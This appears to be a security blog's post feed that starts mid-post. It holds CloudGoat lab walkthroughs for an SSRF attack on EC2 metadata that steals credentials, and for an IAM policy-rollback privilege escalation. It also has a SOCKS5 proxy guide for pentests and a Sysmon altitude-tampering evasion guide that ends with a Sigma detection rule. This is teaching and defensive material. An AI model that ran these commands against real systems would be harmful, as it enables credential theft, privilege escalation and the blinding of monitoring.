environment where an attacker can pivot through multiple services—starting from a limited IAM user and ultimately gaining high-privileged access by exploiting a Server-Side Request Forgery (SSRF) vulnerability in an EC2-hosted web application.\nIt walks through a common real-world attack path where overly permissive IAM roles, hardcoded secrets, and EC2 metadata exposure lead to privilege escalation and unauthorized access to protected resources.\nWhat are we going to cover? This chapter covers a common real-world attack path where overly permissive IAM roles expose unintended access. Where it leads to hardcoded secrets in Lambda functions leak sensitive credentials then it leads to where EC2 metadata service is exploited via a Server-Side Request Forgery (SSRF) vulnerability.\nThese are few assumptions to be made \u0026amp; define a goal for this demo Because we are demonstrating privilege escalation, the lab we are going to use works with the assumption that we have gained access to victim\u0026rsquo;s AWS credentials (Solus). These credentials appear to be non-privileged.\nSteps to setup lab To create the vulnerable environment, follow the steps in your student machine.\nNavigate to the cloud goat folder\n./cloudgoat.py create ec2_ssrf\nIf you installed your Cloud Goat via pip, use the below command to install\ncloudgoat create ec2_ssrf\nThis will deploy the vulnerable infrastructure.\nLab Goal Our goal is to invoke the cg-lambda-[cloudgoat ID] lambda function.\n1. Initial Set-Up After launching the scenario, you will be provided with an Access Key and Secret. The first step is setting up a profile with the AWS CLI using these credentials.\naws configure --profile solus export AWS_PROFILE=solus aws sts get-caller-identity # \u0026quot;Arn\u0026quot;: \u0026quot;arn:aws:iam::0123456789:user/raynor-cgidtm8l3zv490\u0026quot; The ARN contains the username in the after :user/, it will be unique in each deployment. I\u0026rsquo;ll export it as an environment variable to make the cheat sheet clearer. export IAM_USERNAME=solus-cgidyy548d7vsn\n2. Enumeration After configuring the profile, let\u0026rsquo;s enumerate the available functions with in this account.\naws lambda list-functions --profile solus Let\u0026rsquo;s repeat with another IAM user/role credentials that we found from the solus account.\nConfigure those credentials in your terminal.\naws configure --profile cglambda Now, let\u0026rsquo;s enumerate and see what resources we can access.\naws ec2 describe-instances --profile cglambda Press Enter or scroll down to see the Public IP of the EC2 instance.\nThis is the public IP address of the EC2 instance from the previous step and open it in your browser\nYou’ll see a web application, possibly with a parameter named url that is vulnerable to SSRF\n3. Exploitation Let\u0026rsquo;s try to ping the magic IP address 169.254.169.254\nUse the SSRF to extract IAM role name assigned to the EC2 instance\nhttp://\u0026lt;EC2 instance IP\u0026gt;/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ From the AWS documentation we can see that, we can try to query the internal resources following the path.\nThis should return the IAM role name assigned to the EC2 instance 4. SSRF to Extract EC2 Role Credentials Now, extract the temporary credentials for the role\nhttp://\u0026lt;EC2 instance IP\u0026gt;/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgidyy548d7vsn Configure the extracted credentials in your attacker machine.\n5. Use Extracted Credentials Edit the ~/.aws/credentials and add EC2 role credentials.\n[stolen] aws_access_key_id = ASIA... aws_secret_access_key = wJalr... aws_session_token = \u0026quot;IQoJ...\u0026quot; After saving the credentials, check if you\u0026rsquo;re able to get the identity\n6. Post Exploitation Phase Let\u0026rsquo;s explore what these credentials have access too.\naws s3 ls --profile stolen Try listing the contents of the bucket.\naws s3 ls --profile stolen s3://cg-secret-s3-bucket-cgidyy548d7vsn Let\u0026rsquo;s Download the contents\naws s3 cp --profile stolen s3://cg-secret-s3-bucket-abcd1234/aws/credentials ./ aws configure --profile cgadmin aws lambda list-functions --profile cgadmin Let\u0026rsquo;s run the function and save the result to a file\naws lambda invoke --function-name cg-lambda-cgidyy548d7vsn ./out.txt --profile cgadmin Exploitation Path Conclusion This attack chain highlights how chained misconfigurations and poor security hygiene across IAM, Lambda, EC2, and S3 can lead to full account compromise via SSRF. Beginning with overly permissive Lambda access for a low-privileged IAM user. Ultimately, this shows the critical need for strong AppSec and CloudSec practices: principle of least privilege, secret management, SSRF protection, and metadata API hardening. Without them, even a single weak link can lead to complete cloud takeover.\nAdditional References Use the Instance Metadata Service to access instance metadata ","date":"2025-07-20T00:00:00Z","image":"https://ibreak.cloud/images/ec2ssrf/exploit-path.png","permalink":"https://ibreak.cloud/posts/how-ssrf-can-expose-aws-ec2-metadata-and-compromise-iam-roles-~-cloudgoat/","title":"How SSRF Can Expose AWS EC2 Metadata and Compromise IAM Roles ~ CloudGoat"},{"content":"In this post, I\u0026rsquo;ll cover how multiple policy versions with overly permissive configuration for an older version leads to privilege escalation in AWS.\nPrivilege Escalation via Rollback Introduction A policy is an object in AWS that, when associated with an identity or resource, defines their permissions. AWS evaluates these policies when an IAM principal (user or role) makes a request. Permissions in the policies determine whether the request is allowed or denied. AWS IAM policies define permissions for an action regardless of the method that you use to perform the operation.\nWhat are we going to cover? This chapter covers how multiple policy versions with overly permissive configuration for an older version leads to privilege escalation.\nThese are few assumptions to be made \u0026amp; define a goal for this demo Because we are demonstrating privilege escalation, the lab we are going to use works with the assumption that we have gained access to victim\u0026rsquo;s AWS credentials (Raynor\u0026rsquo;s). These credentials appear to be non-privileged. Our aim is to exploit a mis-configured with the user\u0026rsquo;s policy definition and gain access to employee database.\nSteps to setup lab To create the vulnerable environment, follow the steps in your student machine.\nRun the following command in your terminal\n./cloudgoat.py create iam_privesc_by_rollback\nThis will deploy the vulnerable infrastructure.\nLab Goal The goal is to acquire full admin privileges\n1. Initial Set-Up After launching the scenario, you will be provided with an Access Key and Secret. The first step is setting up a profile with the AWS CLI using these credentials.\n1 2 3 4 5 6 aws configure --profile cloudgoat export AWS_PROFILE=cloudgoat aws sts get-caller-identity # \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::0123456789:user/raynor-cgidtm8l3zv490\u0026#34; The ARN contains the username in the after :user/, it will be unique in each deployment. I\u0026rsquo;ll export it as an environment variable to make the cheat sheet clearer. export IAM_USERNAME=raynor-cgidtm8l3zv490\n2. Policy Enumeration One of the first steps after gaining access to an IAM User is to enumerate the user\u0026rsquo;s privileges in the environment. We can do that by listing the policies attached to the IAM User.\nThe first command - list-user-policies - are policies embedded directly into the user\u0026rsquo;s IAM identity.\nThe second command - list-attached-user-policies - are separate, standalone IAM policies - either AWS managed or customer managed policies - that are attached to the user.\n1 2 3 4 5 6 aws iam list-user-policies --user-name $IAM_USERNAME # None aws iam list-attached-user-policies --user-name $IAM_USERNAME # \u0026#34;PolicyName\u0026#34;: \u0026#34;cg-raynor-policy-iam_privesc_by_rollback_cgidtm8l3zv490\u0026#34; # \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::0123456789:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidtm8l3zv490\u0026#34; Rather than typing out this policy each time, it can be helpful to export it as another enviornmental varible.\n1 export IAM_POLICY_ARN=arn:aws:iam::0123456789:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidtm8l3zv490` 3. Enumerating Policy Versions In AWS IAM, each policy can have multiple versions - up to five - where only one version is set as the \u0026lsquo;default\u0026quot; (active) version. Whenever you edit a policy, IAM creates a new version, leaving older versions saved in the background.\nOlder, non-default versions may grant privileges that are no longer visible in the default version. If an attacker can switch the default to a more permissive version, they could elevate their access.\n1 2 aws iam list-policy-versions --policy-arn $IAM_POLICY_ARN # Shows five versions 1 2 aws iam get-policy-version --policy-arn $IAM_POLICY_ARN --version-id v1 # v1 is the default version, the permissions currently granted to the user The policy below is the v1 version, it grants \u0026ldquo;read\u0026rdquo; access (list \u0026amp; get) as well as the power to switch between versions of policies.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;iam:Get*\u0026#34;, \u0026#34;iam:List*\u0026#34;, \u0026#34;iam:SetDefaultPolicyVersion\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; } ] }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true } } Looking through the different policy versions v3 has the following statement.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: \u0026#34;*\u0026#34;, \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; } ] }, \u0026#34;VersionId\u0026#34;: \u0026#34;v3\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: false } } Breaking this apart it grants all actions (\u0026quot;Action\u0026quot;: \u0026quot;*\u0026quot;) to all resources. Since the current policy version grants the ability to change versions let switch to use this.\n4. Switching to more privileged policy version 1 aws iam set-default-policy-version --policy-arn $IAM_POLICY_ARN --version-id v3 Let\u0026rsquo;s check if we\u0026rsquo;re able to create a user in the account\naws iam create-user \\ --user-name bob\nWe now have administrative permissions and have completed the CloudGoat scenario!\nExploitation Path Conclusion Starting with a highly-limited IAM user, the attacker is able to review previous IAM policy versions and restore one which allows full admin privileges, resulting in a privilege escalation exploit.\nAdditional references IAM bad Privileges Getting started Client-Side Keys, IAM Policies and a Vulnerable Lambda ","date":"2025-07-09T00:00:00Z","image":"https://ibreak.cloud/images/rollback/def-policy-version.png","permalink":"https://ibreak.cloud/posts/aws-iam-privilege-escalation-via-rollback-~-cloudgoat/","title":"AWS IAM Privilege Escalation via Rollback ~ CloudGoat"},{"content":"A SOCKS5 proxy routes network traffic through a third-party server, masking your IP and enabling more flexible traffic tunneling. In pentesting, it\u0026rsquo;s commonly used to pivot through compromised hosts or anonymize scanning activities.\nNote: I personnaly use this during an pentest engagement to make sure my traffic tunnels through an whitelisted IP address to bypass any WAF\u0026rsquo;s.\nWhy Use a SOCKS5 Proxy? SOCKS5 proxies are flexible, lightweight, and unlike traditional HTTP proxies, they operate at a lower level, forwarding all types of traffic (TCP or UDP). They\u0026rsquo;re ideal for:\nHiding your real IP during recon or exploitation Pivoting in internal networks Bypassing basic network restrictions Step 1: Deploy Your DigitalOcean Droplet Log in to DigitalOcean Click \u0026ldquo;Create\u0026rdquo; \u0026gt; \u0026ldquo;Droplets\u0026rdquo; Choose the following: Ubuntu 22.04 LTS Basic Plan (512MB or 1GB RAM) is sufficient Choose a data center region (closer to you or the target zone) Authentication: Use SSH keys or password Click Create Droplet Step 2: Install Dante Server Update packages and install the Dante SOCKS5 proxy server:\n1 2 sudo apt update sudo apt install dante-server -y Step 3: Configure the Dante Server Edit the config file like I did\n1 sudo nano /etc/danted.conf This is how your config file would look like :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 logoutput: /var/log/danted.log internal: eth0 port = 1080 external: eth0 method: username none user.notprivileged: nobody client pass { from: 0.0.0.0/0 to: 0.0.0.0/0 log: connect disconnect error } pass { from: 0.0.0.0/0 to: 0.0.0.0/0 protocol: tcp udp log: connect disconnect error } ⚠️ Replace eth0 with your actual interface (use ip a to check).\nStep 4: Enable and Start the Danted Service We\u0026rsquo;ve to make sure that it\u0026rsquo;s running without errors\n1 2 sudo systemctl enable danted sudo systemctl start danted Let\u0026rsquo;s check the status of our service\n1 sudo systemctl status danted Step 5: Adjust Firewall (UFW or Cloud) I\u0026rsquo;m allowing a port to open and communications via this port\n1 2 sudo ufw allow 1080/tcp sudo ufw reload OR we can configure DigitalOcean\u0026rsquo;s firewall to allow port 1080\nStep 6: Use SSH to Start SOCKS5 Proxy From your local machine, connect to the droplet using SSH and start the SOCKS5 proxy.\n1 ssh -D 1080 -q -C -N pentest@\u0026lt;your_droplet_ip\u0026gt; Flags explained: -D 1080: Binds a SOCKS proxy on localhost:1080 -q: Quiet mode (less output) -C: Enables compression -N: No remote command; just tunnel Step 7: Verify SOCKS5 Proxy From your local machine, let\u0026rsquo;s test the proxy\n1 curl --socks5-hostname \u0026lt;your_droplet_ip\u0026gt;:1080 http://ifconfig.me You should see your droplet’s IP, not your own.\nConnect via Burpsuite Navigate to your user settings in burpsuite to enter SOCKS5 proxy details.\nConclusion A SOCKS5 proxy gives you stealth, control, and flexibility during your pentests. With just a few commands and good hygiene (firewall, keys, user management), you\u0026rsquo;re ready to route traffic through a remote IP with ease.\n⚠️ Use this only on targets you have explicit authorization to test. Unauthorized testing is illegal and unethical.\n","date":"2025-07-07T00:00:00Z","image":"https://ibreak.cloud/images/socks5.png","permalink":"https://ibreak.cloud/posts/how-do-i-set-up-a-socks5-proxy-for-pentesting/","title":"How do I set up a SOCKS5 proxy for pentesting?"},{"content":"The author explains how combining reconnaissance and an IDOR vulnerability led to unauthorized access to hundreds of credit card records. Medium.\n","date":"2025-06-15T00:00:00Z","image":"https://ibreak.cloud/images/idor-recon/cover.png","permalink":"https://ibreak.cloud/posts/2000-bounty-how-i-chained-recon-and-idor-to-access-100s-of-credit-cards/","title":"2000$ bounty, How I Chained Recon and IDOR to Access 100's of Credit Cards"},{"content":"In this post, I\u0026rsquo;ll walk you through a stealthy evasion technique that involves modifying the Sysmon driver’s altitude. how altitudes affect kernel monitoring, and how attackers can abuse this mechanism to disable or crash security tools, without ever touching the EDR itself.\nAbusing Altitude to Evade Detection Sysmon is one of the most powerful logging tools used by defenders to gain visibility into system activity, especially around process creation, network connections, and file modifications.\nHowever, few realize that Sysmon relies on a minifilter driver architecture, and one of its most critical—but often overlooked—settings is its driver altitude.\nKeep an eye on the upcoming part, I\u0026rsquo;ll try to explain other evasion techniques related to Sysmon\nIn this blog post, I’ll try to show how easy it is to modify Sysmon\u0026rsquo;s driver altitude to an invalid or arbitrary value, effectively making it blind to system events without disabling the service or touching its binaries. This small tweak can have massive consequences for blue team visibility.\nWhat is Driver Altitude? In Windows, a driver\u0026rsquo;s altitude defines its position in the File System Filter Driver Stack. Drivers with lower altitudes sit closer to the file system and process I/O requests earlier, while higher-altitude drivers operate later. This ordering ensures proper sequencing of file system operations across multiple drivers.\nWhat is Minifilter Driver? Now, the minifilter driver is something that acts like a middleman between applications and the file system monitoring, blocking, or modifying requests like reading, writing, or deleting files.\nHigher altitude = earlier in the stack Lower altitude = later in the stack Each driver must have a unique altitude Sysmon’s default altitude is usually: 385200.\nIf a driver has:\nAn invalid, non-unique, or conflicting altitude, it may fail to load properly. An unexpected altitude, it might be placed in a stack position where it doesn’t see anything useful. Our Goal We are not hijacking another driver’s altitude like an EDR. Instead, we’re going to:\nSet Sysmon’s altitude to a random, invalid, or non-standard value Observe how this simple change leads to Sysmon blind to activity How do I perform this activity? ⚠️ Warning: Do this only in a test environment. You need admin privileges and may break Sysmon or destabilize logging.\n1. Backup the Original Altitude Open PowerShell as Administrator:\n1 Get-ItemProperty -Path \u0026#34;HKLM:\\SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Instances\\Sysmon Instance\u0026#34; | Select-Object Altitude Note the value (likely 385200). Export the key for backup:\n1 reg export \u0026#34;HKLM\\SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Instances\\Sysmon Instance\u0026#34; sysmon_altitude_backup.reg 2. Set a Random Altitude Now, set an arbitrary or invalid altitude like 999999 or 123456\n1 Set-ItemProperty -Path \u0026#34;HKLM:\\SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Instances\\Sysmon Instance\u0026#34; -Name \u0026#34;Altitude\u0026#34; -Value \u0026#34;123456\u0026#34; OR we can use the regedit.exe to navigate to:\nWe need admin privileges to modify the registry: Since we\u0026rsquo;re performing evasion, this technique needs the admin privileges. That being said, we need a privileged user access that can be achieved via privilege esclation techniques.\nI\u0026rsquo;ll use regedit.exe to modify\n1 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Instances\\Sysmon Instance Now, change the altitude string to any value you want.\n3. Now, lets restart sysmon I restarted the sysmon, remember that I\u0026rsquo;m performing this activity in my test environment.\n1 2 sysmon -u # uninstall the existing version sysmon -i # reinstall with same config OR what you can do is reboot the machine to reinitialize the filter stack.\n4. Let\u0026rsquo;s verify if we\u0026rsquo;re successfull I opened the notepad.exe to see if the process is logged in the Sysmon logs\n1 Start-Process notepad.exe 5. Check the Sysmon logs Once Sysmon is loaded with a wrong altitude, It may fail to register as a filter properly then You will notice no event logs in Event Viewer under Microsoft-Windows-Sysmon/Operational\nJust for safety I wanted to see if sysmon is actually running hahahaha\n1 sysmon -c #It will show you the config Yeah, It\u0026rsquo;s working so it\u0026rsquo;s effectively blind.\nDetection via Sigma I would like to thank SigmaHQ Detections for open sourcing the detections.\nThis rule detects when the Sysmon driver’s altitude value in the Windows Registry is changed, which is a common evasion technique.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 title: Sysmon Driver Altitude Change id: 4916a35e-bfc4-47d0-8e25-a003d7067061 status: test description: | Detects changes in Sysmon driver altitude value. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot. references: - https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650 - https://youtu.be/zSihR3lTf7g author: B.Talebi date: 2022-07-28 modified: 2024-03-25 tags: - attack.defense-evasion - attack.t1562.001 logsource: category: registry_set product: windows detection: selection: TargetObject|contains: \u0026#39;\\Services\\\u0026#39; TargetObject|endswith: \u0026#39;\\Instances\\Sysmon Instance\\Altitude\u0026#39; condition: selection falsepositives: - Legitimate driver altitude change to hide sysmon level: high Use with These Telemetry Sources To trigger this rule, you need logs from:\nSysmon Event ID 13 (registry value set)\nWindows Security Event ID 4657 (with Audit Registry enabled) Or any EDR/telemetry tool that logs registry_set events\nConclusion Abusing the Sysmon altitude is a low-noise, high-impact red team technique that can blind one of the most relied-upon telemetry sources on Windows. No exploits, no binary tampering—just a sneaky registry change.\nThis demonstrates the importance of monitoring configuration drift and understanding how defensive tools operate at the kernel level.\nReferences https://detection.fyi/sigmahq/sigma/windows/registry/registry_set/registry_set_change_sysmon_driver_altitude/ https://www.ired.team/offensive-security/enumeration-and-discovery/detecting-sysmon-on-the-victim-host https://rulehound.com/rules/f8c684 https://medium.com/@s12deff/blind-sysmon-with-minifilter-0f38b1783fa6 ","date":"2025-06-09T00:00:00Z","image":"https://ibreak.cloud/images/sysmon_altitude/sysmon-1.jpg","permalink":"https://ibreak.cloud/posts/abusing-sysmon-driver-altitude-to-evade-detection/","title":"Abusing Sysmon Driver Altitude to Evade Detection"},{"content":"Read the full post on Hacklido.\n","date":"2023-06-09T00:00:00Z","permalink":"https://ibreak.cloud/posts/begin-your-cloud-security-journey-solving-flaws.cloud-part-2/","title":"Begin your cloud security journey: Solving Flaws.cloud Part-2"},{"content":"Read the full post on Hacklido.\n","date":"2023-06-04T00:00:00Z","permalink":"https://ibreak.cloud/posts/begin-your-cloud-security-journey-solving-flaws.cloud-part-1/","title":"Begin your cloud security journey: Solving Flaws.cloud Part-1"},{"content":"The blog details how the author achieved shell and data access in AWS App Runner, uncovering potential security risks. Medium.\n","date":"2023-05-29T00:00:00Z","permalink":"https://ibreak.cloud/posts/getting-shell-and-data-access-in-aws-app-runner/","title":"Getting shell and data access in AWS App Runner"},{"content":"Read the full post on Medium.\n","date":"2023-03-07T00:00:00Z","permalink":"https://ibreak.cloud/posts/finding-treasures-in-github-and-exploiting-aws-for-fun-and-profit-part-2/","title":"Finding Treasures in Github and Exploiting AWS for Fun and Profit — Part 2"},{"content":"Read the full post on Medium.\n","date":"2023-02-09T00:00:00Z","permalink":"https://ibreak.cloud/posts/finding-treasures-in-github-and-exploiting-aws-for-fun-and-profit-part-1/","title":"Finding Treasures in Github and Exploiting AWS for Fun and Profit — Part 1"},{"content":"Null Talk on IAM Privilege Esclations GitBook.\n","date":"2022-11-19T00:00:00Z","permalink":"https://ibreak.cloud/posts/flying-under-radar-~-null-meetup/","title":"Flying Under Radar ~ Null Meetup"},{"content":"Null Talk on GCP blindspots in Containers GitBook.\n","date":"2022-11-19T00:00:00Z","permalink":"https://ibreak.cloud/posts/mind-the-gap-in-gcp-~-null-meetup/","title":"Mind the gap in GCP ~ Null Meetup"},{"content":"Read the full post on Medium.\n","date":"2022-05-19T00:00:00Z","permalink":"https://ibreak.cloud/posts/my-adventures-at-appsecco/","title":"My Adventures at Appsecco"}]